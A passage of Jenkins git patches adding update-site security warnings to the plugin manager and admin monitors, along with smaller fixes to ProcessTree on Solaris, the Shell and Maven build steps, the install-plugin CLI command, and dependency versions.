                                      diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css new file mode 100644 index 0000000000..ff1dd9bb5e --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsConfiguration/style.css @@ -0,0 +1,4 @@ +.hideWarnings:not(:checked) + label { + color: grey; + text-decoration: line-through; +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy new file mode 100644 index 0000000000..09e9bfe161 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.groovy @@ -0,0 +1,77 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package jenkins.security.UpdateSiteWarningsMonitor + +def f = namespace(lib.FormTagLib) + +def listWarnings(warnings) { + warnings.each { warning -> + li { + a(warning.message, href: warning.url) + } + } +} + +def coreWarnings = my.activeCoreWarnings +def pluginWarnings = my.activePluginWarningsByPlugin + +div(class: "error") { + text(_("blurb")) + ul { + if (!coreWarnings.isEmpty()) { + li { + text(_("coreTitle", jenkins.model.Jenkins.version)) + ul { + listWarnings(coreWarnings) + } + } + } + + if (!pluginWarnings.isEmpty()) { + li { + pluginWarnings.each { plugin, warnings -> + a(_("pluginTitle", plugin.displayName, plugin.version), href: plugin.url) + + ul { + listWarnings(warnings) + } + } + } + } + } + + if (my.hasApplicableHiddenWarnings()) { + text(_("more")) + } +} + +form(method: "post", action: "${rootURL}/${it.url}/forward") { + div { + if (!pluginWarnings.isEmpty()) { + f.submit(name: 'fix', value: _("pluginManager.link")) + } + f.submit(name: 'configure', value: _("configureSecurity.link")) + } +} diff --git a/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties new file mode 100644 index 0000000000..35d33182f2 --- /dev/null +++ b/core/src/main/resources/jenkins/security/UpdateSiteWarningsMonitor/message.properties @@ -0,0 +1,31 @@ +# The MIT License +# +# Copyright (c) 2016, CloudBees, Inc. +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +pluginTitle = {0} {1}: +coreTitle = Jenkins {0} core and libraries: + +blurb = Warnings have been published for the following currently installed components: +more = Additional warnings are hidden due to the current security configuration. + + +pluginManager.link = Go to plugin manager +configureSecurity.link = Configure which of these warnings are shown diff --git a/test/src/test/java/hudson/model/UpdateSiteTest.java b/test/src/test/java/hudson/model/UpdateSiteTest.java index 8e22d43f76..8e49e20f2d 100644 --- a/test/src/test/java/hudson/model/UpdateSiteTest.java +++ b/test/src/test/java/hudson/model/UpdateSiteTest.java @@ -33,6 +33,7 @@ import java.io.IOException; import java.net.URISyntaxException; import java.net.URL; import java.util.Arrays; +import java.util.Collections; import java.util.HashSet; import javax.servlet.ServletException; @@ -41,6 +42,8 @@ import javax.servlet.http.HttpServletResponse; import static org.junit.Assert.*; +import jenkins.security.UpdateSiteWarningsConfiguration; +import jenkins.security.UpdateSiteWarningsMonitor; import org.apache.commons.io.FileUtils; import org.eclipse.jetty.server.HttpConnection; import org.eclipse.jetty.server.Request; @@ -52,6 +55,7 @@ import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.JenkinsRule; +import org.jvnet.hudson.test.recipes.LocalData; public class UpdateSiteTest { @@ -127,5 +131,24 @@ public class UpdateSiteTest { assertEquals(FormValidation.ok(), us.updateDirectly(/* TODO the certificate is now expired, and downloading a fresh copy did not seem to help */false).get()); assertNotNull(us.getPlugin("AdaptivePlugin")); } - + + @Test public void lackOfDataDoesNotFailWarningsCode() throws Exception { + assertNull("plugin data is not present", j.jenkins.getUpdateCenter().getSite("default").getData()); + + // nothing breaking? + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActivePluginWarningsByPlugin(); + j.jenkins.getExtensionList(UpdateSiteWarningsMonitor.class).get(0).getActiveCoreWarnings(); + j.jenkins.getExtensionList(UpdateSiteWarningsConfiguration.class).get(0).getAllWarnings(); + } + + @Test public void incompleteWarningsJson() throws Exception { + PersistedList sites = j.jenkins.getUpdateCenter().getSites(); + sites.clear(); + URL url = new URL(baseUrl, "/plugins/warnings-update-center-malformed.json"); + UpdateSite site = new UpdateSite(UpdateCenter.ID_DEFAULT, url.toString()); + sites.add(site); + assertEquals(FormValidation.ok(), site.updateDirectly(false).get()); + assertEquals("number of warnings", 7, site.getData().getWarnings().size()); + assertNotEquals("plugin data is present", Collections.emptyMap(), site.getData().plugins); + } } diff --git a/test/src/test/resources/plugins/warnings-update-center-malformed.json b/test/src/test/resources/plugins/warnings-update-center-malformed.json new file mode 100644 index 0000000000..ba99e7aa55 --- /dev/null +++ b/test/src/test/resources/plugins/warnings-update-center-malformed.json @@ -0,0 +1,264 @@ +{ + "connectionCheckUrl": "http://www.google.com/", + "core": { + "buildDate": "Dec 18, 2016", + "name": "core", + "sha1": "x4rDgtNYm9l7zJ16RVuxMRgGoQE=", + "url": "http://updates.jenkins-ci.org/download/war/2.37/jenkins.war", + "version": "2.37" + }, + "id": "jenkins40494", + "plugins": { + "display-url-api": { + "buildDate": "Sep 22, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.3" + } + ], + "developers": [ + { + "developerId": "jdumay", + "email": "jdumay@cloudbees.com", + "name": "James Dumay" + } + ], + "excerpt": "\\\\ Provides the DisplayURLProvider extension point to provide alternate URLs for use in notifications. URLs can be requested/extended for these UI locations: * Root page. * Job. * Run. * Run changes. * Test result. ", + "gav": "org.jenkins-ci.plugins:display-url-api:0.5", + "labels": [], + "name": "display-url-api", + "previousTimestamp": "2016-09-22T09:35:08.00Z", + "previousVersion": "0.4", + "releaseTimestamp": "2016-09-22T10:42:00.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "QEykyLSFuZTnFyHrzZEOgzSsYcU=", + "title": "Display URL API", + "url": "http://updates.jenkins-ci.org/download/plugins/display-url-api/0.5/display-url-api.hpi", + "version": "0.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Display+URL+API+Plugin" + }, + "junit": { + "buildDate": "Oct 17, 2016", + "dependencies": [ + { + "name": "structs", + "optional": false, + "version": "1.2" + } + ], + "developers": [ + { + "developerId": "ogondza" + } + ], + "excerpt": "Allows JUnit-format test results to be published.", + "gav": "org.jenkins-ci.plugins:junit:1.19", + "labels": [ + "report" + ], + "name": "junit", + "previousTimestamp": "2016-08-08T15:10:34.00Z", + "previousVersion": "1.18", + "releaseTimestamp": "2016-10-17T12:15:20.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "f3jcYlxz6/8PK43W3KL5LFtz7ro=", + "title": "JUnit Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/junit/1.19/junit.hpi", + "version": "1.19", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/JUnit+Plugin" + }, + "mailer": { + "buildDate": "Sep 04, 2016", + "dependencies": [ + { + "name": "display-url-api", + "optional": false, + "version": "0.2" + } + ], + "developers": [ + { + "developerId": "andresrc" + } + ], + "excerpt": "This plugin allows you to configure email notifications for build results. This is a break-out of the original core based email component. ", + "gav": "org.jenkins-ci.plugins:mailer:1.18", + "labels": [], + "name": "mailer", + "previousTimestamp": "2016-04-20T08:46:22.00Z", + "previousVersion": "1.17", + "releaseTimestamp": "2016-09-04T09:14:16.00Z", + "requiredCore": "1.625.3", + "scm": "github.com", + "sha1": "poG1EauZFM5lZE5hCBx5mqr/mMA=", + "title": "Jenkins Mailer Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/mailer/1.18/mailer.hpi", + "version": "1.18", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Mailer" + }, + "extra-columns": { + "buildDate": "Apr 11, 2016", + "dependencies": [ + { + "name": "junit", + "optional": false, + "version": "1.11" + } + ], + "developers": [ + { + "developerId": "fredg", + "name": "Fred G." + } + ], + "excerpt": "This is a general listview-column plugin that currently contains the following columns: Test Result, Configure Project button, Disable/Enable Project button, Project Description, Build Description, SCM Type, Last/Current Build Console output, Job Type, Build Duration, Build Parameters.", + "gav": "org.jenkins-ci.plugins:extra-columns:1.17", + "labels": [ + "listview-column" + ], + "name": "extra-columns", + "previousTimestamp": "2015-12-11T01:18:48.00Z", + "previousVersion": "1.16", + "releaseTimestamp": "2016-04-11T22:36:22.00Z", + "requiredCore": "1.475", + "scm": "github.com", + "sha1": "8y9Y91n7/Aw47G3pCxzJzTd94J0=", + "title": "Extra Columns Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/extra-columns/1.17/extra-columns.hpi", + "version": "1.17", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Extra+Columns+Plugin" + }, + "structs": { + "buildDate": "Aug 30, 2016", + "dependencies": [], + "developers": [ + { + "developerId": "jglick" + } + ], + "excerpt": "Library plugin for DSL plugins that need concise names for Jenkins extensions", + "gav": "org.jenkins-ci.plugins:structs:1.5", + "labels": [], + "name": "structs", + "previousTimestamp": "2016-08-26T14:11:44.00Z", + "previousVersion": "1.4", + "releaseTimestamp": "2016-08-30T14:10:10.00Z", + "requiredCore": "1.580.1", + "scm": "github.com", + "sha1": "fK+F0PEfSS//DOqmNJvX2rQYabo=", + "title": "Structs Plugin", + "url": "http://updates.jenkins-ci.org/download/plugins/structs/1.5/structs.hpi", + "version": "1.5", + "wiki": "https://wiki.jenkins-ci.org/display/JENKINS/Structs+plugin" + } + }, + "warnings": [ + { + "id": "SECURITY-208", + "type": "plugin", + "name": "google-login", + "message": "Authentication bypass vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-10-12", + "versions": [ + { + "lastVersion": "1.1", + "pattern": "1[.][01](|[.-].*)" + } + ] + }, + { + "id": "SECURITY-136", + "type": "plugin", + "name": "extra-columns", + "message": "Stored XSS vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.16", + "pattern": "1[.](\\d|1[0123456])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-258", + "type": "plugin", + "name": "extra-columns", + "message": "Groovy sandbox protection incomplete", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-04-11", + "versions": [ + { + "lastVersion": "1.18", + "pattern": "1[.](\\d|1[012345678])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-85", + "type": "plugin", + "name": "tap", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.24", + "pattern": "1[.](\\d|1\\d|2[01234])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-278", + "type": "plugin", + "name": "image-gallery", + "message": "Path traversal vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.3", + "pattern": "(0[.].*|1[.][0123])(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-290", + "type": "plugin", + "name": "build-failure-analyzer", + "message": "Cross-site scripting vulnerability", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-06-20", + "versions": [ + { + "lastVersion": "1.15.0", + "pattern": "1[.](\\d|1[012345])[.]\\d+(|[.-].*)" + } + ] + }, + { + "id": "SECURITY-305", + "type": "plugin", + "versions": [ + { + "lastVersion": "1.7.24", + "pattern": "1[.]7[.](\\d(|[.-].*)|24)" + } + ] + }, + { + "id": "SECURITY-309", + "type": "plugin", + "name": "cucumber-reports", + "message": "Plugin disables Content-Security-Policy for files served by Jenkins", + "url": "https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2016-07-27", + "versions": [ + { + "firstVersion": "1.3.0", + "lastVersion": "2.5.1", + "pattern": "(1[.][34]|2[.][012345])(|[.-].*)" + } + ] + } + ], + "updateCenterVersion": "1" +} \ No newline at end of file diff --git a/war/src/main/webapp/css/style.css b/war/src/main/webapp/css/style.css index 9491f28afb..3f2812f2cb 100644 --- a/war/src/main/webapp/css/style.css +++ b/war/src/main/webapp/css/style.css @@ -1580,6 +1580,13 @@ TEXTAREA.rich-editor { color: #FF0000; } +#plugins .securityWarning { + white-space: normal; + margin-top: 0.5em; + padding-left: 2em; + color: #FF0000; +} + /* ========================= progress bar ========================= */ table.progress-bar { -- GitLab From 6fbd3318c89a9bc3ac0f101a7edf1a4bd561d0b7 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 12:06:44 +0100 Subject: [PATCH 520/712] Update changelog.html --- changelog.html | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 7b4dc94ef5..4cbd39792e 100644 --- a/changelog.html +++ b/changelog.html @@ -64,7 +64,8 @@ Upcoming changes
                                    • Support displaying of warnings from the Update Site in the Plugin Manager and in administrative monitors. - (issue 40404) + (issue 40404, + announcement blog post)
                                    • Do not print warnings about undefined parameters when hudson.model.ParametersAction.keepUndefinedParameters property is set to false. -- GitLab From 4ade65d1fb31c981fca6e14c0c20c98a70e41442 Mon Sep 17 00:00:00 2001 From: Christopher Siden Date: Sat, 7 Jan 2017 12:48:15 -0800 Subject: [PATCH 521/712] [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node (#2701) * [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node * make length limit a system property (cherry picked from commit 4df0c56ea4013bb37ad2c7a18b57f8b7fa977347) --- .../src/main/java/hudson/util/ProcessTree.java | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index 5fae26a4d3..40e30217a5 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -787,6 +787,14 @@ public abstract class ProcessTree implements Iterable, IProcessTree, private static final byte PR_MODEL_ILP32 = 1; private static final byte PR_MODEL_LP64 = 2; + /* + * An arbitrary upper-limit on how many characters readLine() will + * try reading before giving up. This avoids having readLine() loop + * over the entire process address space if this class has bugs. + */ + private final int LINE_LENGTH_LIMIT = + SystemProperties.getInteger(Solaris.class.getName()+".lineLimit", 10000); + /* * True if target process is 64-bit (Java process may be different). */ @@ -900,7 +908,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, for( int n=0; n, IProcessTree, for( int n=0; ; n++ ) { // read a pointer to one entry LIBC.pread(fd, m, new NativeLong(psize), new NativeLong(envp+n*psize)); - long addr = b64 ? m.getLong(0) : m.getInt(0); + long addr = b64 ? m.getLong(0) : to64(m.getInt(0)); if (addr == 0) // completed the walk break; @@ -959,7 +967,13 @@ public abstract class ProcessTree implements Iterable, IProcessTree, Memory m = new Memory(1); byte ch = 1; ByteArrayOutputStream buf = new ByteArrayOutputStream(); + int i = 0; while(true) { + if (i++ > LINE_LENGTH_LIMIT) { + LOGGER.finest("could not find end of line, giving up"); + throw new IOException("could not find end of line, giving up"); + } + LIBC.pread(fd, m, new NativeLong(1), new NativeLong(addr)); ch = m.getByte(0); if (ch == 0) -- GitLab From 1e677894cdd7c2c95ac5de211153ccb569dd98ad Mon Sep 17 00:00:00 2001 From: Kanstantsin Shautsou Date: Fri, 6 Jan 2017 19:12:04 +0300 Subject: [PATCH 522/712] [FIXED JENKINS-40863] Don't use javax.servlet imports for remoting call Signed-off-by: Kanstantsin Shautsou (cherry picked from commit 9d29d65033ee71af4109dd15bcb0d02f3a0694e0) --- core/src/main/java/hudson/tasks/Shell.java | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Shell.java b/core/src/main/java/hudson/tasks/Shell.java index bdd3ca44cf..1986e2dea7 100644 --- a/core/src/main/java/hudson/tasks/Shell.java +++ b/core/src/main/java/hudson/tasks/Shell.java @@ -24,7 +24,6 @@ package hudson.tasks; import hudson.FilePath; -import hudson.Functions; import hudson.Util; import hudson.Extension; import hudson.model.AbstractProject; @@ -35,6 +34,7 @@ import java.io.ObjectStreamException; import hudson.util.LineEndingConversion; import jenkins.security.MasterToSlaveCallable; import net.sf.json.JSONObject; +import org.apache.commons.lang.SystemUtils; import org.jenkinsci.Symbol; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.DoNotUse; @@ -153,8 +153,9 @@ public class Shell extends CommandInterpreter { */ @Deprecated public String getShellOrDefault() { - if(shell==null) - return Functions.isWindows() ?"sh":"/bin/sh"; + if (shell == null) { + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; + } return shell; } @@ -229,7 +230,7 @@ public class Shell extends CommandInterpreter { private static final long serialVersionUID = 1L; public String call() throws IOException { - return Functions.isWindows() ? "sh" : "/bin/sh"; + return SystemUtils.IS_OS_WINDOWS ? "sh" : "/bin/sh"; } } -- GitLab From 965b8409c30d388bd347f87d987f09d66fb597d9 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Fri, 9 Dec 2016 12:00:43 +0100 Subject: [PATCH 523/712] [FIX JENKINS-39700] Don't fail when no parameters property for job (cherry picked from commit e43222dde84be0ea7d05647790fedc12d70f8052) --- core/src/main/java/hudson/model/Job.java | 16 ---------------- 1 file changed, 16 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index b0cbe82a22..9dc1e2752a 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1231,8 +1231,6 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); JSONObject jsonProperties = json.optJSONObject("properties"); if (jsonProperties != null) { - //This handles the situation when Parameterized build checkbox is checked but no parameters are selected. User will be redirected to an error page with proper error message. - Job.checkForEmptyParameters(jsonProperties); t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); } else { t.clear(); @@ -1537,18 +1535,4 @@ public abstract class Job, RunT extends Run Date: Fri, 16 Dec 2016 22:51:21 +0100 Subject: [PATCH 524/712] [FIXED JENKINS-40362] - Update SSHD Module to 1.9 (#2662) (cherry picked from commit ef8ddd8a48df04952e59d242e713ff6e05b972c5) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index 57c54b16a6..fd806727e6 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -134,7 +134,7 @@ THE SOFTWARE. org.jenkins-ci.modules sshd - 1.7 + 1.9 org.jenkins-ci.ui -- GitLab From 5bb021e0bd808ee34263a0860c022a38fe47eff1 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 25 Dec 2016 16:36:26 +0100 Subject: [PATCH 525/712] Merge pull request #2674 from jglick/InstallPluginCommand [FIX JENKINS-32358] Correctly compute plugin name when multiple sources are passed to install-plugin CLI command --- .../java/hudson/cli/InstallPluginCommand.java | 38 +++++++++++-------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/cli/InstallPluginCommand.java b/core/src/main/java/hudson/cli/InstallPluginCommand.java index 21484e05bf..c21a96628d 100644 --- a/core/src/main/java/hudson/cli/InstallPluginCommand.java +++ b/core/src/main/java/hudson/cli/InstallPluginCommand.java @@ -75,17 +75,20 @@ public class InstallPluginCommand extends CLICommand { h.checkPermission(PluginManager.UPLOAD_PLUGINS); PluginManager pm = h.getPluginManager(); + if (sources.size() > 1 && name != null) { + throw new IllegalArgumentException("-name is incompatible with multiple sources"); + } + for (String source : sources) { // is this a file? if (channel!=null) { FilePath f = new FilePath(channel, source); if (f.exists()) { stdout.println(Messages.InstallPluginCommand_InstallingPluginFromLocalFile(f)); - if (name==null) - name = f.getBaseName(); - f.copyTo(getTargetFilePath()); + String n = name != null ? name : f.getBaseName(); + f.copyTo(getTargetFilePath(n)); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } } @@ -94,16 +97,21 @@ public class InstallPluginCommand extends CLICommand { try { URL u = new URL(source); stdout.println(Messages.InstallPluginCommand_InstallingPluginFromUrl(u)); - if (name==null) { - name = u.getPath(); - name = name.substring(name.lastIndexOf('/')+1); - name = name.substring(name.lastIndexOf('\\')+1); - int idx = name.lastIndexOf('.'); - if (idx>0) name = name.substring(0,idx); + String n; + if (name != null) { + n = name; + } else { + n = u.getPath(); + n = n.substring(n.lastIndexOf('/') + 1); + n = n.substring(n.lastIndexOf('\\') + 1); + int idx = n.lastIndexOf('.'); + if (idx > 0) { + n = n.substring(0, idx); + } } - getTargetFilePath().copyFrom(u); + getTargetFilePath(n).copyFrom(u); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } catch (MalformedURLException e) { // not an URL @@ -149,11 +157,11 @@ public class InstallPluginCommand extends CLICommand { return 0; // all success } - private FilePath getTargetFilePath() { - return new FilePath(getTargetFile()); + private static FilePath getTargetFilePath(String name) { + return new FilePath(getTargetFile(name)); } - private File getTargetFile() { + private static File getTargetFile(String name) { return new File(Jenkins.getActiveInstance().getPluginManager().rootDir,name+".jpi"); } } -- GitLab From c4b22140c0cbe7bccef9b01013154ef7866365c0 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Tue, 27 Dec 2016 12:06:26 +0100 Subject: [PATCH 526/712] [FIXED JENKINS-39835] - Update remoting to 3.4 (#2679) (cherry picked from commit 7c2e1b2ece1770874eedd69cf20142aad4b491b9) --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index bf7e674ac5..124fdb4d06 100644 --- a/pom.xml +++ b/pom.xml @@ -180,7 +180,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 3.2 + 3.4 -- GitLab From 772683a69851cadede4390bdb606f16f8f868d8c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sat, 24 Dec 2016 09:09:58 -0500 Subject: [PATCH 527/712] [FIXED JENKINS-25333] Update to Winstone 3.2. (#2673) (cherry picked from commit 4f814c0a9f8e72384046015975f201f4f693abaf) --- war/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/war/pom.xml b/war/pom.xml index fd806727e6..0c274318ac 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -93,7 +93,7 @@ THE SOFTWARE. --> org.jenkins-ci winstone - 3.1 + 3.2 test -- GitLab From fc12b2cc1a20cd1518fe0bc2387ab1580377cb18 Mon Sep 17 00:00:00 2001 From: Victor Date: Tue, 27 Dec 2016 10:47:18 +0100 Subject: [PATCH 528/712] [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step (#2638) * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Properties are not passed to Maven command by Maven build step * [FIX JENKINS-39268] Changed order in which properties are appended to command line: properties appended later win in case of conflicts * [FIX JENKINS-39268] More precise messages in some assertions * [FIX JENKINS-39268] Cleanup unused imports * [FIX JENKINS-39268] Added functional tests for Maven task. (cherry picked from commit 138ce3d8d191daab42ed986254ae689ceb836aad) --- core/src/main/java/hudson/tasks/Maven.java | 12 ++++--- .../src/test/java/hudson/tasks/MavenTest.java | 34 ++++++++++++++----- 2 files changed, 33 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index a8d78ed344..dc9dfe8475 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -340,13 +340,17 @@ public class Maven extends Builder { } } + Set sensitiveVars = build.getSensitiveBuildVariables(); + + // Inject environment variables only if chosen to do so if (isInjectBuildVariables()) { - Set sensitiveVars = build.getSensitiveBuildVariables(); - args.addKeyValuePairs("-D",build.getBuildVariables(),sensitiveVars); - final VariableResolver resolver = new Union(new ByMap(env), vr); - args.addKeyValuePairsFromPropertyString("-D",this.properties,resolver,sensitiveVars); + args.addKeyValuePairs("-D", build.getBuildVariables(), sensitiveVars); } + // Add properties from builder configuration, AFTER the injected build variables. + final VariableResolver resolver = new Union(new ByMap(env), vr); + args.addKeyValuePairsFromPropertyString("-D", this.properties, resolver, sensitiveVars); + if (usesPrivateRepository()) args.add("-Dmaven.repo.local=" + build.getWorkspace().child(".repository")); args.addTokenized(normalizedTarget); diff --git a/test/src/test/java/hudson/tasks/MavenTest.java b/test/src/test/java/hudson/tasks/MavenTest.java index 5a61b3f5dc..bbc3d804a4 100644 --- a/test/src/test/java/hudson/tasks/MavenTest.java +++ b/test/src/test/java/hudson/tasks/MavenTest.java @@ -45,10 +45,8 @@ import hudson.tasks.Maven.MavenInstallation.DescriptorImpl; import hudson.tools.ToolProperty; import hudson.tools.ToolPropertyDescriptor; import hudson.tools.InstallSourceProperty; -import hudson.tools.ToolInstallation; import hudson.util.DescribableList; -import java.io.IOException; import java.util.Collections; import javax.xml.transform.Source; @@ -63,13 +61,11 @@ import hudson.model.PasswordParameterDefinition; import org.jvnet.hudson.test.Issue; import static org.junit.Assert.*; -import org.apache.tools.ant.filters.TokenFilter.ContainsString; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.ExtractResourceSCM; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.ToolInstallations; -import org.jvnet.hudson.test.SingleFileSCM; /** * @author Kohsuke Kawaguchi @@ -323,21 +319,41 @@ public class MavenTest { FreeStyleProject p = j.createFreeStyleProject(); p.updateByXml((Source) new StreamSource(getClass().getResourceAsStream("MavenTest/doPassBuildVariablesOptionally.xml"))); String log = j.buildAndAssertSuccess(p).getLog(); - assertTrue(p.getBuildersList().get(Maven.class).isInjectBuildVariables()); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables injection should be enabled by default when loading from XML", p.getBuildersList().get(Maven.class).isInjectBuildVariables()); + assertTrue("Build variables should be injected by default when loading from XML", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, false/*do not inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertFalse("Build variables are not injected", log.contains("-DNAME=VALUE")); + assertFalse("Build variables should not be injected", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, true/*do inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables should be injected", log.contains("-DNAME=VALUE")); - assertFalse(new Maven("", "").isInjectBuildVariables()); + assertFalse("Build variables injection should be disabled by default", new Maven("", "").isInjectBuildVariables()); + } + + @Test public void doAlwaysPassProperties() throws Exception { + MavenInstallation maven = ToolInstallations.configureMaven3(); + + FreeStyleProject p = j.createFreeStyleProject(); + String properties = "TEST_PROP1=VAL1\nTEST_PROP2=VAL2"; + + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, null, false, null, + null, false/*do not inject build variables*/)); + String log = j.buildAndAssertSuccess(p).getLog(); + assertTrue("Properties should always be injected, even when build variables injection is disabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); + + p.getBuildersList().clear(); + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, null, false, null, + null, true/*do inject build variables*/)); + log = j.buildAndAssertSuccess(p).getLog(); + 